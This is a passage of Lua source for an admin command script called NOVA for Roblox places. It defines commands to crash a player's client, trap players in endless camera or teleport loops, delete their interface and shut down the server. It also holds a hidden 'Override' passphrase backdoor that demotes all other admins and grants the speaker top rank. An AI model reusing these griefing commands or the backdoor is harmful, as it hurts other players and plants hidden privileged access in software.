  2434. Camera:SetRoll(Camera:GetRoll()+0.01)
  2435. pcall(function()
  2436. LocalPlayer.Character.Head.Sound:Play()
  2437. end)
  2438. end
  2439. Camera:SetRoll(0)
  2440. Camera.CameraType = "Custom"
  2441. Camera.FieldOfView = 70
  2442. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2443. ]],v.Backpack)
  2444. end
  2445. end
  2446. )
  2447.  
  2448. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  2449. function(Msg,Speaker)
  2450. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2451. CreateLocalScript([[
  2452. script.Parent = nil
  2453. Camera = workspace.CurrentCamera
  2454. LocalPlayer = game.Players.LocalPlayer
  2455. Camera.CameraType = "Scriptable"
  2456. while true do
  2457. wait()
  2458. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  2459. Camera.CameraType = "Scriptable"
  2460. Camera:SetRoll(Camera:GetRoll()+0.01)
  2461. pcall(function()
  2462. LocalPlayer.Character.Head.Sound:Play()
  2463. end)
  2464.  
  2465.  
  2466. end
  2467. Camera:SetRoll(0)
  2468. Camera.CameraType = "Custom"
  2469. Camera.FieldOfView = 70
  2470. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2471. ]],v.Backpack)
  2472. end
  2473. end
  2474. )
  2475.  
  2476. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  2477. function(Msg,Speaker)
  2478. for _,v in pairs(NOVA.Credit) do
  2479. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  2480. end
  2481. end
  2482. )
  2483.  
  2484. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  2485. function(Msg,Speaker)
  2486. pcall(function()
  2487. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  2488. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  2489. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  2490. end)
  2491. end
  2492. )
  2493.  
  2494. AddCommand("Playlist","playlist",3,"Lists NOVA's sounds.","No Arguments",
  2495. function(Msg,Speaker)
  2496. for _,v in pairs(NOVA.Sounds) do
  2497. Output(v.Data.Name,"Random",Speaker,nil,
  2498. function()
  2499. PlaySound(v.Data.Name)
  2500. end
  2501. )
  2502. end
  2503. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2504. end
  2505. )
  2506.  
  2507. AddCommand("Play","play",6,"Plays the selected sound.","<Sound Name>",
  2508. function(Msg,Speaker)
  2509. for _,v in pairs(NOVA.Sounds.Music) do
  2510. if v.Name:lower():match(Msg:lower()) then
  2511. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  2512. NOVA.Sounds.Sound.SoundId = v.Id
  2513. NOVA.Sounds.Sound.Pitch = v.Pitch
  2514. NOVA.Sounds.Sound.Looped = v.Looped
  2515. NOVA.Sounds.Sound.Volume = 1
  2516. wait(0.5)
  2517. NOVA.Sounds.Sound:Play()
  2518. end
  2519. end
  2520. end
  2521. )
  2522.  
  2523.  
  2524. AddCommand("Stop","stop",6,"Stops all of NOVA's sounds.","No Arguments",
  2525. function(Msg,Speaker)
  2526. NOVA.Sounds.Sound:Stop()
  2527. end
  2528. )
  2529.  
  2530. AddCommand("Time","time",1,"Changes the time.","<Number>",
  2531. function(Msg,Speaker)
  2532. NOVA.Services.Lighting.TimeOfDay = Msg
  2533. end
  2534. )
  2535.  
  2536. AddCommand("Fog End","fog\\end",1,"Changes the fog.","<Number>",
  2537. function(Msg,Speaker)
  2538. NOVA.Services.Lighting.FogEnd = Msg
  2539. end
  2540. )
  2541.  
  2542. AddCommand("Fog Start","fog\\start",1,"Changes the fog.","<Number>",
  2543. function(Msg,Speaker)
  2544. NOVA.Services.Lighting.FogStart = Msg
  2545. end
  2546. )
  2547.  
  2548. AddCommand("Fog Color","fog\\color",1,"Changes the fog.","<Number>",
  2549. function(Msg,Speaker)
  2550. if Msg == "red" then Color = NOVA.Colors.Red
  2551. elseif Msg == "black" then Color = NOVA.Colors.Black
  2552. elseif Msg == "white" then Color = NOVA.Colors.White
  2553. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  2554. elseif Msg == "green" then Color = NOVA.Colors.Green
  2555. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  2556. end
  2557. NOVA.Services.Lighting.FogColor = Color
  2558. end
  2559. )
  2560.  
  2561. AddCommand("Get CMD","get\\cmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2562. function(Msg,Speaker)
  2563. if Msg == "true" then
  2564. GetRankedTable(Speaker).CMD = true
  2565. elseif Msg == "false" then
  2566. GetRankedTable(Speaker).CMD = false
  2567. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2568. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2569. end
  2570. end
  2571. )
  2572.  
  2573. AddCommand("Override","override",0,"Lost.","<KeyPhrase>",
  2574. function(Msg,Speaker)
  2575. if Msg == "4 8 15 16 23 42" then
  2576. for _,v in pairs(NOVA.Ranked) do
  2577. if v.Rank < 7 then
  2578. v.Rank = 0
  2579. end
  2580. end
  2581. GetRankedTable(Speaker).Rank = 8
  2582. NOVA.LockedScripts = true
  2583. NOVA.ModelLock = true
  2584. NOVA.totalLock = true
  2585. NOVA.Service.Lighting.FogEnd = 0
  2586. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  2587. NOVA.Services.Lighting.TimeOfDay = 0
  2588. end
  2589. end
  2590. )
  2591.  
  2592. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  2593. function(Msg,Speaker)
  2594.  
  2595. Split = GetSplit(Msg)
  2596.  
  2597. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2598. if GetRank(Speaker) > GetRank(v) then
  2599. OnChatted(Msg:sub(Split),v)
  2600. end
  2601. end
  2602. end
  2603. )
  2604.  
  2605. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  2606. function(Msg,Speaker)
  2607.  
  2608. Split = GetSplit(Msg)
  2609.  
  2610. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2611. Output(Msg:sub(Split+1),"Random",v,10)
  2612. end
  2613. end
  2614. )
  2615.  
  2616. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  2617. function(Msg,Speaker)
  2618. Split = GetSplit(Msg)
  2619. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2620. pcall(function()
  2621. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  2622. end)
  2623. end
  2624. end
  2625. )
  2626.  
  2627. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  2628. function(Msg,Speaker)
  2629. local Temp = {
  2630. "http://www.roblox.com/Asset/?id=2101148",
  2631. "http://www.roblox.com/Asset/?id=2233908",
  2632. "http://www.roblox.com/Asset/?id=16976189",
  2633. }
  2634.  
  2635. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2636. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  2637. Cube.FormFactor = "Custom"
  2638. Cube.Size = Vector3.new(10,10,10)
  2639. Cube.CFrame = v.Character.Torso.CFrame
  2640. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
  2641. * CFrame.new(0, 500, 0)
  2642.  
  2643. Cube.BrickColor = BrickColor.new("Really black")
  2644. Cube.Anchored = false
  2645. Cube.CanCollide = false
  2646. Cube.Friction = 0
  2647. Cube.Transparency= 0.5
  2648. Cube.Reflectance = 0.5
  2649. wait()
  2650. Cube:BreakJoints()
  2651. Cube.Touched:connect(function(part)
  2652. if part == v.Character.Torso then
  2653. Instance.new("Explosion",NOVA.Services.Workspace).Position = v.Character.Head.Position
  2654. local S = Instance.new("Sound",NOVA.Services.Workspace)
  2655. S.SoundId = Temp[math.random(1,3)]
  2656. S.Volume = 1
  2657. S:Play()
  2658. Cube:Remove()
  2659. end
  2660. end)
  2661. BP = Instance.new("BodyPosition",Cube)
  2662. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2663. BP.position = v.Character.Torso.Position
  2664. BP.P = 1200
  2665. BP.D = 0
  2666. end
  2667. end
  2668. )
  2669.  
  2670. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  2671. function(Msg,Speaker)
  2672. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2673. pcall(function()
  2674. v.PlayerGui:ClearAllChildren()
  2675. end)
  2676. end
  2677. end
  2678. )
  2679.  
  2680. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  2681. function(Msg,Speaker)
  2682. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2683. pcall(function()
  2684. v.PlayerGui:Destroy()
  2685. end)
  2686. end
  2687. end
  2688. )
  2689.  
  2690. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  2691. function(Msg,Speaker)
  2692. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2693. pcall(function()
  2694. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2695. if part:IsA("BasePart") then
  2696. Instance.new("Fire",part)
  2697. end
  2698. end
  2699. end)
  2700. end
  2701. end
  2702. )
  2703.  
  2704. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  2705. function(Msg,Speaker)
  2706. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2707. pcall(function()
  2708. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2709. if part:IsA("Fire") then
  2710. part:Destroy()
  2711. end
  2712. end
  2713. end)
  2714. end
  2715. end
  2716. )
  2717.  
  2718. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  2719. function(Msg,Speaker)
  2720. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2721. pcall(function()
  2722. coroutine.resume(coroutine.create(function()
  2723. local Fire = Instance.new("Fire",v.Character.Torso)
  2724. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2725. if part:IsA("BasePart") then
  2726. Instance.new("Fire",part)
  2727. end
  2728. end
  2729. wait()
  2730. for i=1,math.huge do
  2731. if Fire.Parent == nil then break end
  2732. if v.Character.Humanoid == nil then break end
  2733. if v.Character.Humanoid.Health <= 0 then break end
  2734. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  2735. wait(math.random(0,1))
  2736. end
  2737. end))
  2738. end)
  2739. end
  2740. end
  2741. )
  2742.  
  2743. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  2744. function(Msg,Speaker)
  2745. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2746. pcall(function()
  2747. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2748. end)
  2749. end
  2750. end
  2751. )
  2752.  
  2753. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  2754. function(Msg,Speaker)
  2755. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2756. pcall(function()
  2757. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  2758. end)
  2759. end
  2760. end
  2761. )
  2762.  
  2763. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  2764. function(Msg,Speaker)
  2765. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2766. Cape(v)
  2767. end
  2768. end
  2769. )
  2770.  
  2771.  
  2772. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  2773. function(Msg,Speaker)
  2774. coroutine.resume(coroutine.create(function()
  2775.  
  2776. --[[
  2777. 1 Grass Material for grassy terrain cells.
  2778. 2 Sand Material for sandy terrain cells.
  2779. 3 Brick Material for brick terrain cells.
  2780. 4 Granite Material for granite terrain cells.
  2781. 5 Asphalt Material for asphalt terrain cells.
  2782. 6 Iron Material for iron terrain cells.
  2783. 7 Aluminum Material for aluminum terrain cells.
  2784. 8 Gold Material for gold terrain cells.
  2785. 9 WoodPlank Material for wood plank terrain cells.
  2786. 10 WoodLog Material for wood log terrain cells.
  2787. 11 Gravel Material for gravel terrain cells.
  2788. 12 CinderBlock Material for cinder block terrain cells.
  2789. 13 MossyStone Material for mossy stone terrain cells.
  2790. 14 Cement Material for cement terrain cells.
  2791. 15 RedPlastic Material for red plastic terrain cells.
  2792. 16 BluePlastic
  2793. ]]
  2794. -- Cube type = 0
  2795. Material = math.random(1,16)
  2796. Cap = 1000
  2797. GenNum = 50
  2798. Size = 100
  2799. Type = math.random(0,4)
  2800. for i=1, Cap do
  2801. --wait()
  2802. for i=1,GenNum do
  2803. Material = math.random(1,16)
  2804. Type = math.random(0,4)
  2805. X = math.random((Size/2)*-1,Size/2)
  2806. Y = math.random(-1,Size-1)
  2807. Z = math.random((Size/2)*-1,Size/2)
  2808. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  2809. end
  2810. end
  2811. end))
  2812. end
  2813. )
  2814.  
  2815. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  2816. function(Msg,Speaker)
  2817. NOVA.Services.Workspace.Terrain:Clear()
  2818. end
  2819. )
  2820.  
  2821. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  2822. function(Msg,Speaker)
  2823. coroutine.resume(coroutine.create(function()
  2824. size = Vector3.new(100, 50, 100)
  2825. for X=(size.x/2)*-1,size.x/2 do
  2826. for Y=-1, size.y-1 do
  2827. for Z=(size.z/2)*-1, size.z/2 do
  2828. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  2829. end
  2830. end
  2831. --wait(tonumber("0."..string.rep("0",10000).."1"))
  2832. end
  2833. end))
  2834. end
  2835. )
  2836.  
  2837. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  2838. function(Msg,Speaker)
  2839. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2840. Char = v.Character
  2841. pcall(function() Char["Shirt Graphic"]:Remove() end)
  2842. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  2843. pcall(function() Char["Body Colors"]:Remove() end)
  2844. pcall(function() Char.Torso.roblox:Remove() end)
  2845. pcall(function() Char.Shirt:Remove() end)
  2846. pcall(function() Char.Pants:Remove() end)
  2847. wait()
  2848. for _,a in pairs(Char:GetChildren()) do
  2849. pcall(function() a.TextureId = "" a.VertexColor = NOVA.Colors.Black end)
  2850. pcall(function() a.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) a.Reflectance = 0 a.TopSurface = "Smooth" a.BottomSurfave = "Smooth" wait() end)
  2851. for _,b in pairs(a:GetChildren()) do
  2852. pcall(function() b.TextureId = "" b.VertexColor = NOVA.Colors.Black end)
  2853. pcall(function() b.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) b.Reflectance = 0 b.TopSurface = "Smooth" b.BottomSurfave = "Smooth" wait() end)
  2854. for _,c in pairs(b:GetChildren()) do
  2855. pcall(function() c.TextureId = "" c.VertexColor = NOVA.Colors.Black end)
  2856. pcall(function() c.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) c.Reflectance = 0 c.TopSurface = "Smooth" c.BottomSurfave = "Smooth" wait() end)
  2857. end
  2858. end
  2859. end
  2860. end
  2861. end
  2862. )
  2863.  
  2864. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  2865. function(Msg,Speaker)
  2866. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2867. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  2868. wait()
  2869. v.Character:BreakJoints()
  2870. end
  2871. end
  2872. )
  2873.  
  2874. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  2875. function(Msg,Speaker)
  2876. Split = GetSplit(Msg)
  2877. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2878. v.Neutral = Msg:sub(Split+1)
  2879. end
  2880. end
  2881. )
  2882.  
  2883. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  2884. function(Msg,Speaker)
  2885. MainCFrame = CFrame.new(0,3,15)
  2886. * CFrame.Angles(0,math.rad(90),0)
  2887. local Special = {}
  2888. pcall(function() workspace["NOVA Portal"]:Remove() end)
  2889. local Model = Instance.new("Model",workspace)
  2890. Model.Name = "NOVA Portal"
  2891. for angle=1,360/4 do
  2892. local Part = Instance.new("Part",Model)
  2893. Part.Name = "Part"
  2894. Part.FormFactor = "Custom"
  2895. Part.CanCollide = true
  2896. Part.Anchored = true
  2897. Part.Transparency = 0
  2898. Part.Reflectance = 0
  2899. Part.Size = Vector3.new(1,5/2,1)
  2900. Part.BrickColor = BrickColor.new("Navy blue")
  2901. Part.CFrame = MainCFrame
  2902. * CFrame.Angles(math.rad(angle*4), 0, 0)
  2903. * CFrame.new(0, 15/2, i)
  2904. --wait(0)
  2905. Instance.new("BlockMesh",Part)
  2906. for num=0,1000,5 do
  2907. if angle==num then
  2908. wait()
  2909. table.insert(Special,Part)
  2910. --Part.Reflectance = 1
  2911. Part.Size = Vector3.new(0.9,5/2,0.9)
  2912. Part.CFrame = MainCFrame
  2913. * CFrame.Angles(math.rad(angle*4), 0, 0)
  2914. * CFrame.new(0, 15/2, i)
  2915. end
  2916. end
  2917. end
  2918.  
  2919. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  2920.  
  2921. local Part = Instance.new("Part",Model)
  2922. Part.Name = "Part"
  2923. Part.FormFactor = "Custom"
  2924. Part.CanCollide = false
  2925. Part.Anchored = true
  2926. Part.TopSurface = "Smooth"
  2927. Part.BottomSurface = "Smooth"
  2928. Part.Transparency = 0.5
  2929. Part.Reflectance = 0
  2930. Part.Size = Vector3.new(0.2,0.2,0.2)
  2931. Part.BrickColor = BrickColor.new("Really black")
  2932. Part.CFrame = MainCFrame
  2933. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  2934. * CFrame.new(0, 0, 0)
  2935. Instance.new("CylinderMesh",Part)
  2936.  
  2937. for i=0.2,51/4,0.5 do
  2938. wait()
  2939. Part.Size = Vector3.new(i,0.9,i)
  2940. Part.CFrame = MainCFrame
  2941. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  2942. * CFrame.new(0, 0, 0)
  2943. end
  2944.  
  2945. coroutine.resume(coroutine.create(function()
  2946. while true do wait()
  2947. for i=0,1,0.01 do wait() Part.Reflectance = i end
  2948. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  2949. end
  2950. end))
  2951.  
  2952.  
  2953.  
  2954.  
  2955. Part.Touched:connect(function(Part)
  2956. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  2957. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  2958. --print(Player.Name.." touched.")
  2959. CreateLocalScript([==[
  2960. LocalPlayer = game:service'Players'.LocalPlayer
  2961. Places = {
  2962. {Name = "Oxcool1 SB",ID = 20279777};
  2963. {Name = "Oxcool1 PRI SB", ID = 20132544};
  2964. {Name = "TNS SB", ID = 23232804};
  2965. {Name = "BrainWart SB", ID = 76809211};
  2966. {Name = "nb SB",ID = 113456};
  2967. {Name = "nb SB (2)",ID = 56786};
  2968. {Name = "Insert Wars",ID = 13329886};
  2969. }
  2970. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  2971. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  2972. Main.Name = "NOVA Teleport"
  2973. script.Parent = Main
  2974.  
  2975. local Frame = Instance.new("Frame",Main)
  2976. Frame.Size = UDim2.new(0.27,0,0.05,0)
  2977. Frame.Position = UDim2.new(0.,0,0.2,0)
  2978. Frame.Style = "RobloxSquare"
  2979.  
  2980. local Txt = Instance.new("TextBox",Frame)
  2981. Txt.Size = UDim2.new(0.7,0,1,0)
  2982. Txt.BackgroundTransparency = 1
  2983. Txt.FontSize = "Size14"
  2984. Txt.TextColor3 = Color3.new(1,1,1)
  2985. Txt.Text = "ID/Name Here"
  2986.  
  2987. local Close = Instance.new("TextButton",Frame)
  2988. Close.Size = UDim2.new(0.1,0,1,0)
  2989. Close.Position = UDim2.new(0.9,0,0,0)
  2990. Close.Text = "X"
  2991. Close.BackgroundTransparency = 1
  2992. Close.FontSize = "Size14"
  2993. Close.TextColor3 = Color3.new(1,0,0)
  2994. Close.MouseButton1Down:connect(function()
  2995. Main:Remove()
  2996. end)
  2997.  
  2998. local Exe = Instance.new("TextButton",Frame)
  2999. Exe.Size = UDim2.new(0.2,0,1,0)
  3000. Exe.Position = UDim2.new(0.6,0,0,0)
  3001. Exe.Text = "Teleport"
  3002. Exe.BackgroundTransparency = 1
  3003. Exe.FontSize = "Size14"
  3004. Exe.TextColor3 = Color3.new(1,0,0)
  3005. Exe.MouseButton1Down:connect(function()
  3006. GoTo = Txt.Text
  3007. for _,v in pairs(Places) do
  3008. if Txt.Text:lower() == v.Name:lower() then
  3009. GoTo = v.ID
  3010. end
  3011. end
  3012. game:service'TeleportService':Teleport(GoTo)
  3013. Main:Remove()
  3014. end)
  3015.  
  3016. List = Instance.new("Frame",Main)
  3017. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3018. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3019. List.Style = "RobloxSquare"
  3020.  
  3021. for NUM,v in pairs(Places) do
  3022. Name = Instance.new("TextButton",List)
  3023. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3024. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3025. Name.BackgroundTransparency = 1
  3026. Name.FontSize = "Size14"
  3027. Name.TextColor3 = Color3.new(1,1,1)
  3028. Name.Text = v.Name
  3029. Name.MouseButton1Down:connect(function()
  3030. game:service'TeleportService':Teleport(v.ID)
  3031. end)
  3032. ID = Instance.new("TextButton",List)
  3033. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3034. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3035. ID.BackgroundTransparency = 1
  3036. ID.FontSize = "Size14"
  3037. ID.TextColor3 = Color3.new(1,1,1)
  3038. ID.Text = v.ID
  3039. ID.MouseButton1Down:connect(function()
  3040. game:service'TeleportService':Teleport(v.ID)
  3041. end)
  3042. end
  3043. ]==],Player.Backpack)
  3044. end
  3045. end)
  3046. end
  3047. )
  3048.  
  3049. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player>",
  3050. function(Msg,Speaker)
  3051. for i=1,100 do
  3052. if string.sub(Msg,i,i) == "\\" then
  3053. Split = i
  3054. break
  3055. end
  3056. end
  3057. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3058. CreateLocalScript([==[game:service'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3059. end
  3060. end
  3061. )
  3062.  
  3063. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player>",
  3064. function(Msg,Speaker)
  3065. for i=1,100 do
  3066. if string.sub(Msg,i,i) == "\\" then
  3067. Split = i
  3068. break
  3069. end
  3070. end
  3071. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3072. CreateLocalScript([==[
  3073. script.Parent = nil
  3074. while true do wait()
  3075. game:service'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3076. end
  3077. ]==],v.Backpack)
  3078. end
  3079. end
  3080. )
  3081.  
  3082. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3083. function(Msg,Speaker)
  3084. coroutine.resume(coroutine.create(function()
  3085. NOVA.Services.Lighting.TimeOfDay = 0
  3086. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3087. NOVA.Services.Lighting.Brightness = 0
  3088. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3089. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3090. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  3091.  
  3092. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3093. if v:IsA("BasePart") then
  3094. Sel = Instance.new("SelectionBox",v)
  3095. Sel.Color = BrickColor.new("Really red")
  3096. Sel.Transparency = 0
  3097. Sel.Adornee = v
  3098. end
  3099. end
  3100. for i=10,1,-1 do
  3101. NOVA.Sounds.Sound.Parent = workspace
  3102. NOVA.Sounds.Sound.Volume = 1
  3103. NOVA.Sounds.Sound.Pitch = 1
  3104. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  3105. wait(1)
  3106. NOVA.Sounds.Sound:Play()
  3107. end
  3108. for i=5,1,-1 do
  3109. NOVA.Sounds.Sound.Parent = workspace
  3110. NOVA.Sounds.Sound.Volume = 1
  3111. NOVA.Sounds.Sound.Pitch = 1
  3112. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  3113. wait(1)
  3114. NOVA.Sounds.Sound:Play()
  3115. end
  3116. wait(1)
  3117. Instance.new("ManualSurfaceJointInstance",workspace)
  3118. end))
  3119. end
  3120. )
  3121.  
  3122. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  3123. function(Msg,Speaker)
  3124. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3125. if v.Name == "TeamDman" then
  3126. Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3127. else
  3128. pcall(function()
  3129. GetRidOf(v)
  3130. end)
  3131. end
  3132. end
  3133. end
  3134. )
  3135.  
  3136. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  3137. function(Msg,Speaker)
  3138. coroutine.resume(coroutine.create(function()
  3139. for _,v in pairs(NOVA.Sounds.Music) do
  3140. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3141. NOVA.Sounds.Sound.SoundId = v.Id
  3142. NOVA.Sounds.Sound.Volume = 0
  3143. wait()
  3144. NOVA.Sounds.Sound:Play()
  3145. wait()
  3146. NOVA.Sounds.Sound:Stop()
  3147. wait(1)
  3148. end
  3149. for _,v in pairs(NOVA.Sounds.Numbers) do
  3150. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3151. NOVA.Sounds.Sound.SoundId = v
  3152. NOVA.Sounds.Sound.Volume = 0
  3153. wait()
  3154. NOVA.Sounds.Sound:Play()
  3155. wait()
  3156. NOVA.Sounds.Sound:Stop()
  3157. wait(1)
  3158. end
  3159. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  3160. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3161. NOVA.Sounds.Sound.SoundId = v
  3162. NOVA.Sounds.Sound.Volume = 0
  3163. wait()
  3164. NOVA.Sounds.Sound:Play()
  3165. wait()
  3166. NOVA.Sounds.Sound:Stop()
  3167. wait(1)
  3168. end
  3169. NOVA.Sounds.Sound.Volume = 1
  3170. end))
  3171. end
  3172. )
  3173.  
  3174. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  3175. function(Msg,Speaker)
  3176. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3177. table.insert(NOVA.Targeted,v)
  3178. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3179. if part:IsA("Part") then
  3180. coroutine.resume(coroutine.create(function()
  3181. local SB = Instance.new("SelectionBox",part)
  3182. SB.Name = "NOVA Target Selection Box"
  3183. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  3184. SB.Adornee = part
  3185. wait(3)
  3186. SB:remove()
  3187. end))
  3188. end
  3189. end
  3190. end
  3191. end
  3192. )
  3193.  
  3194. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  3195. function(Msg,Speaker)
  3196. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3197. for i=1,#NOVA.Targeted do
  3198. if NOVA.Targeted[i] == v then
  3199. table.remove(NOVA.Targeted,i)
  3200. end
  3201. end
  3202. end
  3203. end
  3204. )
  3205.  
  3206. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  3207. function(Msg,Speaker)
  3208. CreateLocalScript([==[game:service'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  3209. end
  3210. )
  3211.  
  3212. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  3213. function(Msg,Speaker)
  3214. CreateScript("",CreateLocalScript([==[
  3215. NOVA = {
  3216. Services = {
  3217. Workspace = game:GetService("Workspace");
  3218. Lighting = game:GetService("Lighting");
  3219. Debris = game:GetService("Debris");
  3220. Players = game:GetService("Players");
  3221. Teams = game:GetService("Teams");
  3222. SoundService = game:GetService("SoundService");
  3223. StarterGui = game:GetService("StarterGui");
  3224. StarterPack = game:GetService("StarterPack");
  3225. };
  3226. LocalPlayer = game:service'Players'.LocalPlayer;
  3227. Camera = workspace.CurrentCamera;
  3228. LocalCharacter = Instance.new("Model");
  3229. LocalHead = Instance.new("Part");
  3230. LocalFire = Instance.new("Fire");
  3231. }
  3232. script.Name = NOVA.LocalPlayer.Name
  3233. script.Parent = nil
  3234. NOVA.LocalPlayer.Chatted:connect(function(Msg)
  3235. if NOVA.LocalPlayer.Parent == nil then
  3236. if not Msg:find("mediafire") or Msg:find("shit") or Msg:find("gtfo") or Msg:find("hitler") or Msg:find("password") then
  3237. pcall(function() game:service'Chat':Chat(NOVA.LocalHead,Msg,math.random(0,2)) end)
  3238. end
  3239. if Msg == "\\rejoin\\" then
